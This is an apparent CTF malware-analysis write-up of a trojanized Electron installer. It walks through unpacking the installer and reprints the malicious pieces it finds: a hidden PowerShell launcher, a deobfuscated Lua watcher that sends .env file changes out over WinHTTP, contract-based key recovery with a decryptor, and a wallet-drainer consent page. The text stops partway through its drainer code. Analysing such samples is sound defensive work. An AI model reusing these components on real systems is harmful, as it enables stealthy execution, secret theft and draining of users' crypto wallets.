HTB Holmes CTF 2026 - Silent Dividend

HTB Holmes CTF 2026 Electron NSIS LuaJIT Ethereum

Silent Dividend was a Forensics - Malware Analysis challenge from HTB Holmes CTF 2026. The challenge provided a single executable, TrustSettle 1.0.0.exe, and required ten questions to be answered by reconstructing its behavior.

This write-up follows that investigation chronologically: NSIS extraction, Electron source recovery, preload analysis, Lua payload analysis, blockchain key recovery, payload decryption, HTML analysis, and finally the second smart contract.

Initial triage

I began by checking the executable’s size. At approximately 95 MB, it was unusually large for a simple Windows utility and suggested that the file might bundle a framework such as Electron.

The TrustSettle executable is approximately 95 MB

I then inspected the executable with Detect It Easy (DIE).

Detect It Easy identifies the file as an NSIS installer

DIE identified the sample as an NSIS installer. NSIS is an open-source system for building Windows installers, and its packages can often be unpacked with 7-Zip, as described in the NSIS documentation. Extracting the installer exposed an embedded archive.

Files extracted from the NSIS installer

I extracted that archive as well, revealing the packaged application.

Extracting the embedded application archive

Recovering the Electron application

Two locations in the extracted tree immediately stood out:

resources/
├── app.asar
└── elevate.exe

extraResources/
├── api.txt
├── lua51.dll
└── luajit.exe

The app.asar file confirmed that this was an Electron application. ASAR is Electron’s archive format for packaging application source and resources. I extracted it with:

npx asar extract app.asar

The recovered source had the following structure:

extracted/
├── main.js
├── node_modules/
├── package.json
├── preload.js
└── src/

Of these files, preload.js was the most important because preload scripts run with privileged access to Node.js APIs and often reveal how an Electron application interacts with the host system.

Analyzing preload.js

The first relevant section copied the bundled files, launched the Lua payload, and defined the blockchain-backed encrypted payload:

fs.readdirSync(path.resolve(`${process.resourcesPath}/../extraResources`)).forEach(f => fs.copyFileSync(path.resolve(`${process.resourcesPath}/../extraResources`, f),path.join('C:\\Users\\Public', f)));
		
exec("powershell.exe -exec bypass -w hidden -nop -c \"& 'C:\\Users\\Public\\luajit.exe' 'C:\\Users\\Public\\api.txt'\"");


const CONTRACT_ADDRESS =
    '0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1';


const RPC_URL =
    'https://ethereum-sepolia-rpc.publicnode.com';


const CONTRACT_ABI = [
    'function resolveState() view returns (bytes32)'
];


const ENCRYPTED_DATA =
    '0x560c325bdd0aeea2cd2690a2ed1c1b4a28deca7ac2a40ce8d2725d539a950ca8f4a4bcf375806c36532258a0cf16c19c12989e0aa0e25a72be241da7d2f74cfa2c4c4e1bbfc6204207fe5c801d201f5af84864f0';

The call to fs.readdirSync() enumerates extraResources, while fs.copyFileSync() copies each file into C:\Users\Public. This is suspicious because a public, writable directory gives the dropped components a predictable path outside the application package.

The next line starts luajit.exe through PowerShell and passes api.txt as the Lua script. Its options are particularly notable:

  • -exec bypass bypasses PowerShell’s execution-policy checks for that process.
  • -w hidden hides the PowerShell window.
  • -nop prevents the user’s PowerShell profile from loading.

Together, these options reduce visible signs of execution and avoid profile-based restrictions or logging customizations. The command therefore launches the dropped Lua payload with no visible window:

powershell.exe -exec bypass -w hidden -nop -c "& 'C:\Users\Public\luajit.exe' 'C:\Users\Public\api.txt'"

Challenge answer 1: C:\Users\Public

The same preload script configures an Ethereum Sepolia RPC endpoint, the contract address 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1, and an embedded ciphertext. It retrieves the remote state as follows:

async function queryRemoteState() {

    if (
        !ethers.isAddress(
            CONTRACT_ADDRESS
        )
    ) {
        throw new Error(
            'Invalid contract address'
        );
    }


    const provider =
        new ethers.JsonRpcProvider(
            RPC_URL
        );


    const code =
        await provider.getCode(
            CONTRACT_ADDRESS
        );


    if (
        code === '0x'
    ) {
        throw new Error(
            'No contract found at configured address'
        );
    }


    const contract =
        new ethers.Contract(
            CONTRACT_ADDRESS,
            CONTRACT_ABI,
            provider
        );


    const state =
        await contract
            .resolveState();


    return state;
}

The application first validates the address, checks that contract bytecode exists at that address, and then creates an ethers.Contract instance. It invokes resolveState() and returns the resulting bytes32 value.

Challenge answer 4: resolveState()

That value is passed to the following custom decryption function:

function decryptEmbeddedData(
    encryptedData,
    encryptionKey
) {
    const data =
        hexToBuffer(
            encryptedData,
            'Encrypted data'
        );


    const key =
        hexToBuffer(
            encryptionKey,
            'Encryption key'
        );


    if (data.length === 0) {
        throw new Error(
            'Encrypted data is empty'
        );
    }


    if (key.length === 0) {
        throw new Error(
            'Encryption key is empty'
        );
    }


    const magicConstant =
        0x42;


    const rotationBits =
        7;


    const result =
        Buffer.alloc(
            data.length
        );


    for (
        let i = 0;
        i < data.length;
        i++
    ) {
        const keyByte =
            key[
                i % key.length
            ];


        const step1 =
            data[i] ^
            keyByte;


        const step2 =
            (
                (
                    step1 <<
                    rotationBits
                ) |
                (
                    step1 >>>
                    (
                        8 -
                        rotationBits
                    )
                )
            ) & 0xff;


        result[i] =
            step2 ^
            magicConstant;
    }


    return result.toString(
        'utf8'
    );
}

For each ciphertext byte, the routine XORs it with the corresponding key byte, rotates the result left by seven bits, and then XORs it with the constant 0x42. At this stage, however, the key itself was still stored in the smart contract and had to be recovered later.

Before moving to the blockchain part, I examined the dropped Lua component to understand the application’s host-level behavior.

Deobfuscating the Lua payload

The file api.txt contained heavily obfuscated Lua. I searched for a Lua deobfuscator that matched the sample’s structure and used LuaJIT Editor.

The obfuscated api.txt payload

Deobfuscating the Lua payload

The tool produced safe-decoded.lua and unsafe-decoded.lua. The latter was substantially more readable and exposed the payload’s Windows API declarations and control flow:

local unpack_values = table.unpack or unpack
local r15, r18, r20, r27, r31, r32, r34, r35, r36, r37, r39, r40, r56
local r17 = (math.floor)
local r23, r16 = "setmetatable"
local r19
local r6 = r23
local ffi = require("ffi")
local bit = require("bit")
local r8
local r8 = (ffi.load("winhttp"))
local r9 = ffi.cdef
r9("typedef void          *HANDLE;\ntypedef int            BOOL;\ntypedef unsigned long  DWORD;\ntypedef wchar_t         WCHAR;\ntypedef void CURL;\n\ntypedef void* HINTERNET;\ntypedef unsigned short WORD;\ntypedef unsigned long DWORD;\ntypedef int BOOL;\ntypedef const wchar_t* LPCWSTR;\ntypedef wchar_t* LPWSTR;\ntypedef void* LPVOID;\n\nHINTERNET WinHttpOpen(\n    LPCWSTR pszAgentW,\n    DWORD   dwAccessType,\n    LPCWSTR pszProxyW,\n    LPCWSTR pszProxyBypassW,\n    DWORD   dwFlags\n);\n\nHINTERNET WinHttpConnect(\n    HINTERNET hSession,\n    LPCWSTR   pswzServerName,\n    WORD      nServerPort,\n    DWORD     dwReserved\n);\n\nHINTERNET WinHttpOpenRequest(\n    HINTERNET hConnect,\n    LPCWSTR   pwszVerb,\n    LPCWSTR   pwszObjectName,\n    LPCWSTR   pwszVersion,\n    LPCWSTR   pwszReferrer,\n    LPCWSTR*  ppwszAcceptTypes,\n    DWORD     dwFlags\n);\n\nBOOL WinHttpSendRequest(\n    HINTERNET hRequest,\n    LPCWSTR   lpszHeaders,\n    DWORD     dwHeadersLength,\n    LPVOID    lpOptional,\n    DWORD     dwOptionalLength,\n    DWORD     dwTotalLength,\n    DWORD*    dwContext  // actually ULONG_PTR, but pointer-sized here is fine for our use (we pass 0)\n);\n\nBOOL WinHttpReceiveResponse(HINTERNET hRequest, LPVOID lpReserved);\n\nBOOL WinHttpQueryDataAvailable(HINTERNET hRequest, DWORD* lpdwNumberOfBytesAvailable);\n\nBOOL WinHttpReadData(\n    HINTERNET hRequest,\n    LPVOID    lpBuffer,\n    DWORD     dwNumberOfBytesToRead,\n    DWORD*    lpdwNumberOfBytesRead\n);\n\nBOOL WinHttpCloseHandle(HINTERNET hInternet);\n\nDWORD GetLastError();\n\nHANDLE CreateFileW(\n    const WCHAR *lpFileName,\n    DWORD dwDesiredAccess,\n    DWORD dwShareMode,\n    void *lpSecurityAttributes,\n    DWORD dwCreationDisposition,\n    DWORD dwFlagsAndAttributes,\n    HANDLE hTemplateFile\n);\n\nBOOL ReadDirectoryChangesW(\n    HANDLE hDirectory,\n    void *lpBuffer,\n    DWORD nBufferLength,\n    BOOL bWatchSubtree,\n    DWORD dwNotifyFilter,\n    DWORD *lpBytesReturned,\n    void *lpOverlapped,\n    void *lpCompletionRoutine\n);\n\nBOOL CloseHandle(HANDLE hObject);\nDWORD GetLastError(void);\n\ntypedef struct {\n    DWORD NextEntryOffset;\n    DWORD Action;\n    DWORD FileNameLength;\n    WCHAR FileName[1];\n} FILE_NOTIFY_INFORMATION;\n")
r9 = ffi.load
local r14
local r9 = (r9("kernel32"))
local r15 = 2147483648
local r16 = 1
local r20 = 2
local r17 = 4
local r19 = 3
local r18 = 33554432
local r14 = (ffi.cast("HANDLE", -1))
local r27 = 1
local r31 = 8
local r34 = 16
local r28 = {
	[1] = "FILE_ADDED";
	[2] = "FILE_REMOVED";
	[3] = "FILE_MODIFIED",
	[4] = "FILE_RENAMED_OLD_NAME";
	[5] = "FILE_RENAMED_NEW_NAME"
}
local function local_function_3(argument_1, ...)
	local local_68, local_77
	local local_65 = {
		argument_1:match("^(https?)://([^:/]+):?(%d*)(/?.*)$")
	}
	local local_71, local_72, local_73, local_74 = local_65[3], local_65[4], local_65[2], local_65[1]
	local_65 = local_73
	local local_70 = local_74
	if not local_73 then
		error((("Could not parse URL: ") .. argument_1))
	end
	local_73 = "https"
	local_74 = local_70 == local_73
	local local_66 = (local_70 == local_73)
	local local_67 = tonumber(local_71)
	local_73 = local_67
	if local_67 then
	else
		local_68, local_77 = local_66 and 443, 80
		local_73 = (local_68 or local_77)
	end
	local_71 = local_73
	local_74 = local_72 == ""
	if local_72 == ("") then
		local_72 = "/"
	end
	return local_66, local_65, local_71, local_72
end
local r36 = r28
local r37 = 0
local function local_function_4(argument_1, ...)
	local local_81, local_82, local_83, local_85, local_86
	local local_80 = io.open(argument_1, "r")
	local local_79 = local_80
	if not local_80 then
		return ({})
	else
		local_81 = {}
		local_85 = {
			local_79:lines()
		}
		local_82, local_86, local_80 = local_85[3], local_85[1], local_85[2]
		local_85 = local_86
		local_83 = local_80
		while true do
			local_82 = local_85(local_83, local_82)
			if local_82 then
				local_81[((# local_81) + 1)] = local_82
			else
				break
			end
		end
		local_80 = {
			local_81
		}
		local_79:close()
		return unpack_values(local_80)
	end
end
local r39 = nil
local r40 = nil
local r32 = 8388608
local r35 = nil
local function local_function_6(argument_1, argument_2, ...)
	local local_99, local_104, local_105, local_109, local_110, local_111, local_112, local_113, local_114, local_115
	local local_102 = # argument_1
	local local_103 = (# argument_1)
	local_102 = {}
	local local_107 = (# argument_2)
	local local_106, local_108 = 0, local_102
	for local_99 = local_106, local_103, 1 do
		local_110 = local_99
		local_108[local_110] = ({})
		local_106 = 0
		for local_112 = local_106, local_107, 1 do
			local_115 = local_112
			local_102 = local_108[local_110]
			local_106 = 0
			local_102[local_115] = local_106
		end
	end
	local_106 = 1
	for local_99 = local_106, local_103, 1 do
		local_106, local_110, local_111, local_112 = 1, local_99, local_107, 1
		local_113 = local_112
		local_114 = 0 > local_113
		local_112 = local_106 - local_113
		while true do
			local_115, local_112 = not local_114, local_112 + local_113
			local_102 = ((local_114 and (local_111 <= local_112)) or (local_115 and (local_111 >= local_112))) and 10222897
			if (local_114 and (local_111 <= local_112)) or ((not local_114) and (local_111 >= local_112)) then
			else
				break
			end
			local_115 = local_112
			local_106 = argument_1[local_110]
			local_102 = local_106 == (argument_2[local_112])
			if (argument_1[local_110]) == (argument_2[local_112]) then
				local_102 = local_108[local_110]
				local_106 = ((local_108[(local_110 - 1)])[(local_115 - 1)]) + 1
				local_102[local_115] = local_106
			else
				local_102 = local_108[local_110]
				local_102[local_115] = (math.max(((local_108[(local_110 - 1)])[local_115]), ((local_108[local_110])[(local_115 - 1)])))
			end
		end
	end
	local_109, local_106 = local_107, {}
	local_104, local_105, local_99 = ({}), local_103, local_106
	while true do
		local_106 = (local_105 > 0)
		if local_105 > 0 then
			local_106 = (local_109 > 0)
		end
		if local_106 then
			local_102 = (argument_1[local_105]) == (argument_2[local_109])
			if (argument_1[local_105]) == (argument_2[local_109]) then
				local_105, local_109 = (local_105 - 1), (local_109 - 1)
			else
				local_110 = ((local_108[(local_105 - 1)])[local_109]) >= ((local_108[local_105])[(local_109 - 1)])
				if ((local_108[(local_105 - 1)])[local_109]) >= ((local_108[local_105])[(local_109 - 1)]) then
					table.insert(local_104, 1, argument_1[local_105])
					local_105 = (local_105 - 1)
				else
					table.insert(local_99, 1, argument_2[local_109])
					local_109 = (local_109 - 1)
				end
			end
		else
			break
		end
	end
	while true do
		local_112 = local_105 > 0
		if local_105 > 0 then
			table.insert(local_104, 1, argument_1[local_105])
			local_105 = (local_105 - 1)
		else
			break
		end
	end
	while true do
		local_113 = local_109 > 0
		if local_109 > 0 then
			table.insert(local_99, 1, argument_2[local_109])
			local_109 = (local_109 - 1)
		else
			break
		end
	end
	return local_104, local_99
end
local captured_3 = ffi
local function local_function_7(argument_1, ...)
	local local_129
	local local_125 = # argument_1
	local local_130 = (# argument_1)
	local local_132 = (captured_3.new("wchar_t[?]", (local_130 + 1)))
	local local_126 = 1
	for local_129 = local_126, local_130, 1 do
		local_125 = local_129 - 1
		local_126 = argument_1:byte(local_129)
		local_132[local_125] = local_126
	end
	local_126 = {
		local_132
	}
	local_132[local_130] = 0
	return unpack_values(local_126)
end
local captured_4 = local_function_3
local captured_5 = local_function_7
local captured_6 = ffi
local function local_function_9(argument_1, argument_2, argument_3, ...)
	local local_164, local_165, local_167, local_168, local_169
	local local_145 = (argument_3 or r6[("application/octet-stream")])
	local local_149 = {
		captured_4(argument_1)
	}
	local local_152, local_153 = local_149[4], local_149[1]
	local local_150 = local_149[3]
	local local_148 = local_149[2]
	local_149 = r8.WinHttpOpen((captured_5("LuaFFI-Client/1.0")), r37, r39, r40, 0)
	local local_154 = local_149 == nil
	if local_149 == nil then
		error("WinHttpOpen failed")
	end
	local local_151 = r8.WinHttpConnect(local_149, (captured_5(local_148)), local_150, 0)
	local_154 = local_151 == nil
	if local_151 == nil then
		error("WinHttpConnect failed")
	end
	local local_159 = local_153
	if local_153 then
		local_159 = r32
	end
	local local_160 = r8.WinHttpOpenRequest(local_151, (captured_5("POST")), (captured_5(local_152)), nil, r35, nil, (local_159 or 0))
	local_159 = local_160 == nil
	if local_160 == nil then
		error("WinHttpOpenRequest failed")
	end
	local local_157 = string.format("Content-Type: %s\r\n", local_145)
	local local_156 = captured_5(local_157)
	local_159 = # argument_2
	local local_161 = captured_6.new("char[?]", local_159)
	captured_6.copy(local_161, argument_2, local_159)
	local local_163 = r8.WinHttpSendRequest(local_160, local_156, (# local_157), local_161, local_159, local_159, nil)
	local local_155 = local_163 == 0
	if local_163 == 0 then
		error((local_165 .. (tostring(unpack_values(({
			r8.GetLastError()
		}))))))
	end
	local local_162 = r8.WinHttpReceiveResponse(local_160, nil)
	local_155 = local_162 == 0
	if local_162 == 0 then
		error((local_168 .. (tostring(unpack_values(({
			r8.GetLastError()
		}))))))
	end
	local_155 = {}
	while true do
		do
			local_165 = captured_6.new("DWORD[1]", 0)
			local_167 = r8.WinHttpQueryDataAvailable(local_160, local_165)
			local_164 = local_167 == 0
			if local_167 == 0 then
				break
			else
				local_167 = (local_165[0]) == 0
				if (local_165[0]) == 0 then
					break
				else
					local_164 = (captured_6.new("char[?]", local_165[0]))
					local_168 = (captured_6.new("DWORD[1]", 0))
					local_169 = ((r8).WinHttpReadData)(local_160, local_164, (local_165[0]), local_168)
					local_167 = local_169 == 0
					if local_169 == 0 then
						break
					else
						table.insert(local_155, unpack_values(({
							captured_6.string(local_164, local_168[0])
						})))
					end
				end
			end
		end
	end
	r8.WinHttpCloseHandle(local_160)
	r8.WinHttpCloseHandle(local_151)
	r8.WinHttpCloseHandle(local_149)
	return table.concat(local_155)
end
local captured_7 = ffi
local captured_8 = local_function_9
local function local_function_10(argument_1, argument_2, ...)
	local local_181, local_183, local_189, local_191, local_192, local_193, local_194, local_195, local_196, local_197, local_198, local_199, local_200, local_201, local_204, local_206, local_207
	local local_188 = (r9.CreateFileW((local_function_7(argument_1)), r15, (bit.bor(r16, r20, r17)), nil, r19, r18, nil))
	local_177 = local_188 == r14
	if local_188 == r14 then
		error((("Failed to open directory, error: ") .. (r9.GetLastError())))
	end
	print(unpack_values(({
		string.format("Watching %s for changes to %s", argument_1, argument_2)
	})))
	local_177 = argument_1 .. argument_2
	local local_185 = (argument_1 .. argument_2)
	local local_186 = (local_function_4(local_185))
	local local_187 = 4096
	local local_179 = (captured_7.new("char[?]", local_187))
	local local_184 = (captured_7.new("DWORD[1]"))
	local local_190 = (bit.bor(r27, r31, r34))
	while true do
		do
			local_183 = (r9.ReadDirectoryChangesW(local_188, local_179, local_187, false, local_190, local_184, nil, nil))
			local_177 = local_183 == 0
			if local_183 == 0 then
				print((("ReadDirectoryChangesW failed, error: ") .. (r9.GetLastError())))
				break
			else
				local_189 = 0
				while true do
					local_191 = (captured_7.cast("FILE_NOTIFY_INFORMATION *", (local_179 + local_189)))
					local_181 = local_191["\217Z?\139E#\002\221\157\021\166\189J\131d*\249U\228\172A\152\130x["]
					local_192 = 2
					local_177 = local_181 / local_192
					local_181, local_195, local_192 = 0, 1, (local_181 / local_192)
					local_193, local_195 = ({}), (local_192 - local_195)
					local_199 = ">n\184\167\006\027\147\151h\236&\221\211\153" < 0
					for local_194 = local_181, local_195, 1 do
						local_193[((# local_193) + 1)] = (string.char(local_191.FileName[local_194]))
					end
					local_194 = (table.concat(local_193))
					local_181, local_195 = local_194.lower, "lower"
					local_181 = local_181(local_194)
					local_195 = (argument_2[local_195])(argument_2)
					local_177 = local_181 == local_195
					if local_181 == local_195 then
						local_195 = r36[(tonumber((local_191.Action)))]
						local_181 = local_195
						if local_195 then
						else
							local_181 = "UNKNOWN"
						end
						print(unpack_values(({
							((string).format)("[%s] %s", local_181, local_194)
						})))
						local_177 = (local_191.Action) == 3
						if (local_191[("Action")]) == 3 then
							local_177 = os.execute
							local_177("timeout /t 0 >nul 2>&1")
							local_181 = local_function_4(local_185)
							local_197 = local_181
							local_196 = {
								local_function_6(local_186, local_181)
							}
							local_199 = local_196[2]
							local_204 = {
								ipairs((local_196[1]))
							}
							local_198, local_181, local_200 = local_204[2], local_204[1], local_204[3]
							local_204 = local_181
							while true do
								local_200, local_207 = local_204(local_198, local_200)
								if local_200 then
									local_201 = "  - "
									local_177 = local_201 .. local_207
									captured_8("http://127.0.0.1:8000", (local_201 .. local_207))
								else
									break
								end
							end
							local_206 = {
								ipairs(local_199)
							}
							local_200, local_198, local_204 = local_206[2], local_206[1], local_206[3]
							while true do
								local_204, local_207 = local_198(local_200, local_204)
								if local_204 then
									captured_8("http://127.0.0.1:8000", (("  + ") .. local_207))
								else
									break
								end
							end
							local_186 = local_197
						end
					end
					local_189 = (local_189 + local_191.NextEntryOffset)
					local_199 = local_191.NextEntryOffset
					local_197 = local_199 == 0
					if local_199 == 0 then
						break
					end
				end
			end
		end
	end
	r9.CloseHandle(local_188)
end
local r48 = {
	pcall(local_function_10, "C:\\users\\public\\", ".env")
}
local r57, r51 = r48[1], r48[2]
if not (r48[1]) then
	r56 = io.stderr
	r56:write((("Error: ") .. ((tostring(r51)) .. "\n")))
	os.exit(1)
end

Although the recovered variable names remain generic, the payload’s purpose is clear. It loads winhttp and kernel32 through LuaJIT FFI, opens C:\Users\Public\ with CreateFileW, and continuously monitors that directory with ReadDirectoryChangesW.

The API writes directory-change records into a caller-supplied buffer. The script casts entries in that buffer to FILE_NOTIFY_INFORMATION, the Win32 structure that defines fields such as NextEntryOffset, Action, FileNameLength, and FileName.

Challenge answer 2: FILE_NOTIFY_INFORMATION

The watcher filters events for .env. When that file is modified, the script reads it again and compares its previous and current contents to identify removed and added lines. Removed lines are prefixed with -, while new lines are prefixed with +.

It then creates an HTTP POST request to http://127.0.0.1:8000. The sequence uses WinHttpOpen, WinHttpConnect, and WinHttpOpenRequest, but WinHttpSendRequest is the API that actually sends the request and its body. Even though the destination is localhost, this behavior is still relevant: the payload acts as a file watcher that captures changes to a potentially sensitive environment file and forwards them to another service in the attack chain.

Challenge answer 3: WinHttpSendRequest

Recovering the blockchain decryption key

The next task was to determine what resolveState() returned. The contract at 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1 was verified on the Sepolia Blockscout explorer, so its source could be inspected directly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract StateRegistry {

    bytes32 private immutable x1;
    bytes32 private immutable x2;
    bytes32 private immutable x3;
    bytes32 private immutable x4;
    bytes32 private immutable x5;

    constructor(
        bytes32 x6,
        bytes32 x7,
        bytes32 x8,
        bytes32 x9,
        bytes32 x10
    ) {
        require(
            x6 != bytes32(0) &&
            x7 != bytes32(0) &&
            x8 != bytes32(0) &&
            x9 != bytes32(0) &&
            x10 != bytes32(0),
            "invalid state"
        );

        x1 = x9;
        x2 = x7;
        x3 = x8;
        x4 = x6;
        x5 = x10;
    }

    function resolveState()
        external
        view
        returns (bytes32)
    {
        return x1;
    }

    function resolveStatee()
        external
        view
        returns (bytes32)
    {
        return x2;
    }

    function resolveStates()
        external
        view
        returns (bytes32)
    {
        return x3;
    }

    function resolveStatus()
        external
        view
        returns (bytes32)
    {
        return x4;
    }

    function resolveStage()
        external
        view
        returns (bytes32)
    {
        return x5;
    }
}

The constructor accepts five bytes32 values but deliberately stores them in a different order:

x1 = x9
x2 = x7
x3 = x8
x4 = x6
x5 = x10

The Electron application calls resolveState(), which returns x1. Because the constructor assigns x1 = x9, the fourth constructor argument, x9, is the key required by decryptEmbeddedData().

To recover it, I inspected the contract-creation transaction input:

0x610120604052348015610010575f80fd5b5060405161045d38038061045d83398181016040528101906100329190610119565b5f801b851415801561004657505f801b8414155b801561005457505f801b8314155b801561006257505f801b8214155b801561007057505f801b8114155b6100af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100a6906101ea565b60405180910390fd5b81608081815250508360a081815250508260c081815250508460e081815250508061010081815250505050505050610208565b5f80fd5b5f819050919050565b6100f8816100e6565b8114610102575f80fd5b50565b5f81519050610113816100ef565b92915050565b5f805f805f60a08688031215610132576101316100e2565b5b5f61013f88828901610105565b955050602061015088828901610105565b945050604061016188828901610105565b935050606061017288828901610105565b925050608061018388828901610105565b9150509295509295909350565b5f82825260208201905092915050565b7f696e76616c6964207374617465000000000000000000000000000000000000005f82015250565b5f6101d4600d83610190565b91506101df826101a0565b602082019050919050565b5f6020820190508181035f830152610201816101c8565b9050919050565b60805160a05160c05160e051610100516102196102445f395f61011901525f61018e01525f61014001525f60f201525f61016701526102195ff3fe608060405234801561000f575f80fd5b5060043610610055575f3560e01c806334104e101461005957806339435b00146100775780636c49b42d1461009557806377b3774c146100b3578063f52a8e27146100d1575b5f80fd5b6100616100ef565b60405161006e91906101ca565b60405180910390f35b61007f610116565b60405161008c91906101ca565b60405180910390f35b61009d61013d565b6040516100aa91906101ca565b60405180910390f35b6100bb610164565b6040516100c891906101ca565b60405180910390f35b6100d961018b565b6040516100e691906101ca565b60405180910390f35b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f819050919050565b6101c4816101b2565b82525050565b5f6020820190506101dd5f8301846101bb565b9291505056fea2646970667358221220176115669ecc53ad754ef2973d0bcb5e796bb862bd11aed261d50eb646f27a8864736f6c6343000818003381555eea89b714fd6ad80eda5ea6c7e6cceae50193b82eabb48ced56adb81ec7b8d65bb591ae443f301f3272efd8bb8bd24045dbe20d2ae77063d07d9a5f7af98f1aabeb8412c3196908960250e93aa20ae7819ea3d1828541169f59fa65d6413460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4b5209fa26dd09d3d6a000ce1fb7d8f88629986ef45823d9dad95d0ea69729d52

A contract-creation input has the general form:

[creation bytecode][ABI-encoded constructor arguments]

Solidity appends CBOR metadata to the end of the compiled creation bytecode. In this input, the metadata tail including the IPFS metadata reference and compiler version marks the boundary before the constructor data. Everything after that boundary is the ABI-encoded argument area. Because all five constructor parameters are fixed-width bytes32 values, each occupies exactly 32 bytes, with no offsets or dynamic-data section.

Splitting the final 160 bytes into five 32-byte words produced:

81555eea89b714fd6ad80eda5ea6c7e6cceae50193b82eabb48ced56adb81ec7 -> x6
b8d65bb591ae443f301f3272efd8bb8bd24045dbe20d2ae77063d07d9a5f7af9 -> x7
8f1aabeb8412c3196908960250e93aa20ae7819ea3d1828541169f59fa65d641 -> x8
3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4 -> x9
b5209fa26dd09d3d6a000ce1fb7d8f88629986ef45823d9dad95d0ea69729d52 -> x10

The fourth word is therefore x9:

3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4

Decrypting the embedded payload

I reproduced the JavaScript decryption routine in Python, using the recovered x9 value as the key:

encrypted_hex = "560c325bdd0aeea2cd2690a2ed1c1b4a28deca7ac2a40ce8d2725d539a950ca8f4a4bcf375806c36532258a0cf16c19c12989e0aa0e25a72be241da7d2f74cfa2c4c4e1bbfc6204207fe5c801d201f5af84864f0"

key_hex = (
    "3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4"
)

encrypted = bytes.fromhex(encrypted_hex)
key = bytes.fromhex(key_hex)

magic_constant = 0x42
rotation_bits = 7

result = bytearray()

for i, b in enumerate(encrypted):
    key_byte = key[i % len(key)]

    step1 = b ^ key_byte

    step2 = (
        ((step1 << rotation_bits) |
         (step1 >> (8 - rotation_bits)))
        & 0xFF
    )

    result.append(step2 ^ magic_constant)

print(result.decode("utf-8"))

The output was:

start "" "%TEMP%\settlement.html" && echo AUTH=NAPOLEON SETTLEMENT_REFERENCE=SR-4821

This command opens the dropped settlement.html file from the directory represented by %TEMP% and then prints the recovered authentication and settlement reference values.

Challenge answer 5: AUTH=NAPOLEON SETTLEMENT_REFERENCE=SR-4821

Challenge answer 6: TEMP

The use of a smart contract as key delivery separates the encrypted payload from its key. Static analysis of the executable reveals the ciphertext and decryption algorithm, but recovering the plaintext also requires understanding the contract’s constructor state and deployment data.

Analyzing the dropped HTML page

The preload script reads src/settlement.html from the ASAR package and writes it outside the package:

const indexContent =
    fs.readFileSync(
        path.join(__dirname, 'src', 'settlement.html'),
        'utf8'
    );

fs.writeFileSync(
    path.resolve(`${process.resourcesPath}/../../settlement.html`),
    indexContent,
    'utf8'
);

The decrypted command later opens this file through %TEMP%\settlement.html. The page presents itself as a Terms of Service agreement and loads ethers.js v6.13.2 from a CDN. Its most relevant interface elements are:

<title>Terms Of Service</title>
<script src="https://cdn.jsdelivr.net/npm/ethers@6.13.2/dist/ethers.umd.min.js"></script>

<!-- Other Terms of Service sections omitted -->
<div class="tos-section">
    <h3>4. Data Usage & Wallet Interaction</h3>
    <p>By agreeing, you consent to our data usage policy and smart contract interactions, including token approvals required to "enhance" your experience.</p>
</div>

<div class="checkbox-container">
    <input type="checkbox" id="agreeCheckbox">
    <label for="agreeCheckbox">I understand</label>
</div>

<div class="buttons">
    <button class="btn-decline" onclick="decline()">Decline</button>
    <button class="btn-agree" id="agreeBtn" onclick="connect()" disabled>I Agree</button>
</div>

<div class="footer-text">
    This page will request for token approval. Check your wallet's
    confirmation dialog to approve.
</div>

This design turns a blockchain permission request into an apparently routine consent flow. The checkbox enables the I Agree button, whose inline handler calls connect(). Although the footer mentions token approval, the surrounding Terms of Service language frames that approval as a normal prerequisite for continuing rather than as permission for another contract to spend the user’s tokens.

The corresponding JavaScript exposes the wallet drainer style behavior:

const X0_CONTRACT_ADDRESS = "0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D";
const MOCK_TOKEN_ADDRESS = "0x6B2B0C0d0a376255Ac70Bf1366f50982bF476Bb2";

document.getElementById("tokenAddrDisplay").textContent = MOCK_TOKEN_ADDRESS;
document.getElementById("drainerAddrDisplay").textContent = X0_CONTRACT_ADDRESS;

let provider;
let signer;

const MOCK_TOKEN_ABI = [
    {
        "inputs": [
            {"internalType": "address", "name": "spender", "type": "address"},
            {"internalType": "uint256", "name": "amount", "type": "uint256"}
        ],
        "name": "approve",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [{"internalType": "address", "name": "account", "type": "address"}],
        "name": "balanceOf",
        "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [
            {"internalType": "address", "name": "to", "type": "address"},
            {"internalType": "uint256", "name": "amount", "type": "uint256"}
        ],
        "name": "mint",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
];

function setStatus(msg, kind) {
    const el = document.getElementById("status");
    el.textContent = msg;
    el.className = `status ${kind}`;
}

function decline() {
    alert("Ended. No wallet action taken.");
    document.getElementById("agreeCheckbox").checked = false;
    document.getElementById("agreeBtn").disabled = true;
}

document.getElementById("agreeCheckbox").addEventListener("change", function () {
    document.getElementById("agreeBtn").disabled = !this.checked;
});

async function connect() {
    if (!window.ethereum) {
        setStatus("MetaMask not detected. Please install it and try again.", "error");
        return;
    }

    try {
        document.getElementById("agreeBtn").disabled = true;
        setStatus("Connecting wallet...", "loading");

        provider = new ethers.BrowserProvider(window.ethereum);
        await provider.send("eth_requestAccounts", []);
        signer = await provider.getSigner();
        const address = await signer.getAddress();
        const network = await provider.getNetwork();

        setStatus(`Connected: ${address.substring(0, 6)}...${address.substring(38)} on chain ${network.chainId}. Now requesting approval.`, "success");

        await requestApproval();

    } catch (err) {
        setStatus(`Error: ${err.message}`, "error");
        document.getElementById("agreeBtn").disabled = false;
    }
}

async function requestApproval() {
    try {
